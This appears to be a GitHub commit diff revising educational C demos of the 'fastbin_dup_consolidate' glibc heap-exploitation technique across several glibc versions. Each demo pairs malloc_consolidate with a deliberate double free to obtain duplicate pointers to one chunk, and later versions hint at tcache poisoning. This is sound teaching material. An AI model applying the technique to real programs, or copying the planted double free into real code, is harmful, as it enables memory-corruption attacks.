Skip to content

Commit bf2909a

Browse files
authored
Merge pull request #191 from k4lizen/fdc
fastbin_dup_consolidate.c revamp
2 parents 7021144 + 167a69e commit bf2909a

12 files changed

+713
-166
lines changed

glibc_2.23/fastbin_dup_consolidate.c

+46-17
Original file line numberDiff line numberDiff line change
@@ -2,35 +2,64 @@
22
#include <stdlib.h>
33
#include <assert.h>
44

5+
/*
6+
Original reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
7+
8+
This document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a
9+
double free to gain two pointers to the same large-sized chunk, which is usually difficult to do
10+
directly due to the previnuse check.
11+
12+
malloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially
13+
merges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top
14+
if possible.
15+
16+
As of glibc version 2.35 it is called only in the following five places:
17+
1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)
18+
2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)
19+
3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)
20+
4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)
21+
5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)
22+
23+
We will be targeting the first place, so we will need to allocate a chunk that does not belong in the
24+
small bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901).
25+
This means our chunk will need to be of size >= 0x400 (it is thus large-sized).
26+
27+
*/
28+
529
int main() {
6-
// reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
7-
puts("This is a powerful technique that bypasses the double free check in tcachebin.");
8-
printf("Fill up the tcache list to force the fastbin usage...\n");
30+
printf("This technique will make use of malloc_consolidate and a double free to gain a UAF / duplication of a large-sized chunk\n");
931

1032
void* p1 = calloc(1,0x40);
1133

12-
printf("Allocate another chunk of the same size p1=%p \n", p1);
13-
printf("Freeing p1 will add this chunk to the fastbin list...\n\n");
14-
free(p1);
34+
printf("Allocate a fastbin chunk p1=%p \n", p1);
35+
printf("Freeing p1 will add it to the fastbin.\n\n");
36+
free(p1);
37+
38+
void* p3 = malloc(0x400);
39+
40+
printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n");
41+
printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n");
42+
printf("a chunk with chunk size 0x410. p3=%p\n", p3);
1543

16-
void* p3 = malloc(0x400);
17-
printf("Allocating a tcache-sized chunk (p3=%p)\n", p3);
18-
printf("will trigger the malloc_consolidate and merge\n");
19-
printf("the fastbin chunks into the top chunk, thus\n");
20-
printf("p1 and p3 are now pointing to the same chunk !\n\n");
44+
printf("\nmalloc_consolidate will merge the fast chunk p1 with top.\n");
45+
printf("p3 is allocated from top since there is no bin bigger than it. Thus, p1 = p3.\n");
2146

2247
assert(p1 == p3);
2348

24-
printf("Triggering the double free vulnerability!\n\n");
25-
free(p1);
49+
printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p3).\n\n");
50+
free(p1); // vulnerability
2651

52+
printf("So p1 is double freed, and p3 hasn't been freed although it now points to the top, as our\n");
53+
printf("chunk got consolidated with it. We have thus achieved UAF!\n");
54+
55+
printf("We will request a chunk of size 0x400, this will give us a 0x410 chunk from the top\n");
56+
printf("p3 and p1 will still be pointing to it.\n");
2757
void *p4 = malloc(0x400);
2858

2959
assert(p4 == p3);
3060

31-
printf("The double free added the chunk referenced by p1 \n");
32-
printf("to the tcache thus the next similar-size malloc will\n");
33-
printf("point to p3: p3=%p, p4=%p\n\n",p3, p4);
34-
61+
printf("We now have two pointers (p3 and p4) that haven't been directly freed\n");
62+
printf("and both point to the same large-sized chunk. p3=%p p4=%p\n", p3, p4);
63+
printf("We have achieved duplication!\n\n");
3564
return 0;
3665
}

glibc_2.24/fastbin_dup_consolidate.c

+47-19
Original file line numberDiff line numberDiff line change
@@ -2,36 +2,64 @@
22
#include <stdlib.h>
33
#include <assert.h>
44

5-
int main()
6-
{
7-
// reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
8-
puts("This is a powerful technique that bypasses the double free check in tcachebin.");
9-
printf("Fill up the tcache list to force the fastbin usage...\n");
5+
/*
6+
Original reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
7+
8+
This document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a
9+
double free to gain two pointers to the same large-sized chunk, which is usually difficult to do
10+
directly due to the previnuse check.
11+
12+
malloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially
13+
merges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top
14+
if possible.
15+
16+
As of glibc version 2.35 it is called only in the following five places:
17+
1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)
18+
2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)
19+
3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)
20+
4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)
21+
5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)
22+
23+
We will be targeting the first place, so we will need to allocate a chunk that does not belong in the
24+
small bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901).
25+
This means our chunk will need to be of size >= 0x400 (it is thus large-sized).
26+
27+
*/
28+
29+
int main() {
30+
printf("This technique will make use of malloc_consolidate and a double free to gain a UAF / duplication of a large-sized chunk\n");
1031

1132
void* p1 = calloc(1,0x40);
1233

13-
printf("Allocate another chunk of the same size p1=%p \n", p1);
14-
printf("Freeing p1 will add this chunk to the fastbin list...\n\n");
15-
free(p1);
34+
printf("Allocate a fastbin chunk p1=%p \n", p1);
35+
printf("Freeing p1 will add it to the fastbin.\n\n");
36+
free(p1);
37+
38+
void* p3 = malloc(0x400);
39+
40+
printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n");
41+
printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n");
42+
printf("a chunk with chunk size 0x410. p3=%p\n", p3);
1643

17-
void* p3 = malloc(0x400);
18-
printf("Allocating a tcache-sized chunk (p3=%p)\n", p3);
19-
printf("will trigger the malloc_consolidate and merge\n");
20-
printf("the fastbin chunks into the top chunk, thus\n");
21-
printf("p1 and p3 are now pointing to the same chunk !\n\n");
44+
printf("\nmalloc_consolidate will merge the fast chunk p1 with top.\n");
45+
printf("p3 is allocated from top since there is no bin bigger than it. Thus, p1 = p3.\n");
2246

2347
assert(p1 == p3);
2448

25-
printf("Triggering the double free vulnerability!\n\n");
26-
free(p1);
49+
printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p3).\n\n");
50+
free(p1); // vulnerability
2751

52+
printf("So p1 is double freed, and p3 hasn't been freed although it now points to the top, as our\n");
53+
printf("chunk got consolidated with it. We have thus achieved UAF!\n");
54+
55+
printf("We will request a chunk of size 0x400, this will give us a 0x410 chunk from the top\n");
56+
printf("p3 and p1 will still be pointing to it.\n");
2857
void *p4 = malloc(0x400);
2958

3059
assert(p4 == p3);
3160

32-
printf("The double free added the chunk referenced by p1 \n");
33-
printf("to the tcache thus the next similar-size malloc will\n");
34-
printf("point to p3: p3=%p, p4=%p\n\n",p3, p4);
35-
61+
printf("We now have two pointers (p3 and p4) that haven't been directly freed\n");
62+
printf("and both point to the same large-sized chunk. p3=%p p4=%p\n", p3, p4);
63+
printf("We have achieved duplication!\n\n");
3664
return 0;
3765
}

glibc_2.27/fastbin_dup_consolidate.c

+62-13
Original file line numberDiff line numberDiff line change
@@ -2,10 +2,37 @@
22
#include <stdlib.h>
33
#include <assert.h>
44

5+
/*
6+
Original reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
7+
8+
This document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a
9+
double free to gain two pointers to the same large-sized chunk, which is usually difficult to do
10+
directly due to the previnuse check. Interestingly this also includes tcache-sized chunks of certain sizes.
11+
12+
malloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially
13+
merges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top
14+
if possible.
15+
16+
As of glibc version 2.35 it is called only in the following five places:
17+
1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)
18+
2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)
19+
3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)
20+
4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)
21+
5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)
22+
23+
We will be targeting the first place, so we will need to allocate a chunk that does not belong in the
24+
small bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901).
25+
This means our chunk will need to be of size >= 0x400 (it is thus large-sized). Interestingly, the
26+
biggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize
27+
a double free to gain control of a tcache sized chunk.
28+
29+
*/
30+
531
int main() {
6-
// reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
7-
puts("This is a powerful technique that bypasses the double free check in tcachebin.");
8-
printf("Fill up the tcache list to force the fastbin usage...\n");
32+
printf("This technique will make use of malloc_consolidate and a double free to gain a UAF / duplication in the tcache.\n");
33+
printf("It would also allow us to perform tcache poisoning.\n\n");
34+
35+
printf("Lets fill up the tcache to force fastbin usage...\n\n");
936

1037
void *ptr[7];
1138

@@ -14,30 +41,52 @@ int main() {
1441
for(int i = 0; i < 7; i++)
1542
free(ptr[i]);
1643

44+
// void* ppoison = malloc(0x400);
45+
// ^ We would have to allocate this to be able to do tcache poison later, since we need at least 2 chunks in a bin to do it.
46+
1747
void* p1 = calloc(1,0x40);
48+
// Using calloc here doesn't take from the tcache since calloc calls _int_malloc (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3679)
49+
// and taking from the tcache is handled in __libc_malloc. If we used malloc(0x40) the chunk would get taken from the tcache.
1850

1951
printf("Allocate another chunk of the same size p1=%p \n", p1);
20-
printf("Freeing p1 will add this chunk to the fastbin list...\n\n");
52+
printf("Freeing p1 will add it to the fastbin.\n\n");
2153
free(p1);
2254

2355
void* p3 = malloc(0x400);
24-
printf("Allocating a tcache-sized chunk (p3=%p)\n", p3);
25-
printf("will trigger the malloc_consolidate and merge\n");
26-
printf("the fastbin chunks into the top chunk, thus\n");
27-
printf("p1 and p3 are now pointing to the same chunk !\n\n");
56+
57+
// free(ppoison);
58+
// We can now free this chunk to put it in the tcache bin for the poison.
59+
60+
printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n");
61+
printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n");
62+
printf("a tcache-sized chunk with chunk size 0x410. p3=%p\n", p3);
63+
64+
printf("\nmalloc_consolidate will merge the fast chunk p1 with top.\n");
65+
printf("p3 is allocated from top since there is no bin bigger than it. Thus, p1 = p3.\n");
2866

2967
assert(p1 == p3);
3068

31-
printf("Triggering the double free vulnerability!\n\n");
32-
free(p1);
69+
printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p3).\n\n");
70+
free(p1); // vulnerability
3371

72+
printf("So p1 is double freed, and p3 hasn't been freed although it now points to a free chunk.\n");
73+
printf("We have thus achieved UAF on tcache!\n");
74+
75+
// *(long long*)p3 = target;
76+
// We can use the UAF here to perform tcache poison.
77+
78+
printf("We will request a chunk of size 0x400, this will give us the 0x410 chunk thats currently in\n");
79+
printf("the tcache bin. p3 and p1 will still be pointing to it.\n");
3480
void *p4 = malloc(0x400);
3581

3682
assert(p4 == p3);
3783

38-
printf("The double free added the chunk referenced by p1 \n");
39-
printf("to the tcache thus the next similar-size malloc will\n");
40-
printf("point to p3: p3=%p, p4=%p\n\n",p3, p4);
84+
printf("We now have two pointers (p3 and p4) that haven't been directly freed\n");
85+
printf("and both point to the same tcache sized chunk. p3=%p p4=%p\n", p3, p4);
86+
printf("We have achieved duplication!\n\n");
87+
88+
printf("Note: This duplication would have also worked with a larger chunk size, the chunks would\n");
89+
printf("have behaved the same, just being taken from the top instead of from the tcache bin.");
4190

4291
return 0;
4392
}

glibc_2.31/fastbin_dup_consolidate.c

+62-13
Original file line numberDiff line numberDiff line change
@@ -2,10 +2,37 @@
22
#include <stdlib.h>
33
#include <assert.h>
44

5+
/*
6+
Original reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
7+
8+
This document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a
9+
double free to gain two pointers to the same large-sized chunk, which is usually difficult to do
10+
directly due to the previnuse check. Interestingly this also includes tcache-sized chunks of certain sizes.
11+
12+
malloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially
13+
merges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top
14+
if possible.
15+
16+
As of glibc version 2.35 it is called only in the following five places:
17+
1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)
18+
2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)
19+
3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)
20+
4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)
21+
5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)
22+
23+
We will be targeting the first place, so we will need to allocate a chunk that does not belong in the
24+
small bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901).
25+
This means our chunk will need to be of size >= 0x400 (it is thus large-sized). Interestingly, the
26+
biggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize
27+
a double free to gain control of a tcache sized chunk.
28+
29+
*/
30+
531
int main() {
6-
// reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
7-
puts("This is a powerful technique that bypasses the double free check in tcachebin.");
8-
printf("Fill up the tcache list to force the fastbin usage...\n");
32+
printf("This technique will make use of malloc_consolidate and a double free to gain a UAF / duplication in the tcache.\n");
33+
printf("It would also allow us to perform tcache poisoning.\n\n");
34+
35+
printf("Lets fill up the tcache to force fastbin usage...\n\n");
936

1037
void *ptr[7];
1138

@@ -14,30 +41,52 @@ int main() {
1441
for(int i = 0; i < 7; i++)
1542
free(ptr[i]);
1643

44+
// void* ppoison = malloc(0x400);
45+
// ^ We would have to allocate this to be able to do tcache poison later, since we need at least 2 chunks in a bin to do it.
46+
1747
void* p1 = calloc(1,0x40);
48+
// Using calloc here doesn't take from the tcache since calloc calls _int_malloc (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3679)
49+
// and taking from the tcache is handled in __libc_malloc. If we used malloc(0x40) the chunk would get taken from the tcache.
1850

1951
printf("Allocate another chunk of the same size p1=%p \n", p1);
20-
printf("Freeing p1 will add this chunk to the fastbin list...\n\n");
52+
printf("Freeing p1 will add it to the fastbin.\n\n");
2153
free(p1);
2254

2355
void* p3 = malloc(0x400);
24-
printf("Allocating a tcache-sized chunk (p3=%p)\n", p3);
25-
printf("will trigger the malloc_consolidate and merge\n");
26-
printf("the fastbin chunks into the top chunk, thus\n");
27-
printf("p1 and p3 are now pointing to the same chunk !\n\n");
56+
57+
// free(ppoison);
58+
// We can now free this chunk to put it in the tcache bin for the poison.
59+
60+
printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n");
61+
printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n");
62+
printf("a tcache-sized chunk with chunk size 0x410. p3=%p\n", p3);
63+
64+
printf("\nmalloc_consolidate will merge the fast chunk p1 with top.\n");
65+
printf("p3 is allocated from top since there is no bin bigger than it. Thus, p1 = p3.\n");
2866

2967
assert(p1 == p3);
3068

31-
printf("Triggering the double free vulnerability!\n\n");
32-
free(p1);
69+
printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p3).\n\n");
70+
free(p1); // vulnerability
3371

72+
printf("So p1 is double freed, and p3 hasn't been freed although it now points to a free chunk.\n");
73+
printf("We have thus achieved UAF on tcache!\n");
74+
75+
// *(long long*)p3 = target;
76+
// We can use the UAF here to perform tcache poison.
77+
78+
printf("We will request a chunk of size 0x400, this will give us the 0x410 chunk thats currently in\n");
79+
printf("the tcache bin. p3 and p1 will still be pointing to it.\n");
3480
void *p4 = malloc(0x400);
3581

3682
assert(p4 == p3);
3783

38-
printf("The double free added the chunk referenced by p1 \n");
39-
printf("to the tcache thus the next similar-size malloc will\n");
40-
printf("point to p3: p3=%p, p4=%p\n\n",p3, p4);
84+
printf("We now have two pointers (p3 and p4) that haven't been directly freed\n");
85+
printf("and both point to the same tcache sized chunk. p3=%p p4=%p\n", p3, p4);
86+
printf("We have achieved duplication!\n\n");
87+
88+
printf("Note: This duplication would have also worked with a larger chunk size, the chunks would\n");
89+
printf("have behaved the same, just being taken from the top instead of from the tcache bin.");
4190

4291
return 0;
4392
}

0 commit comments

Comments
 (0)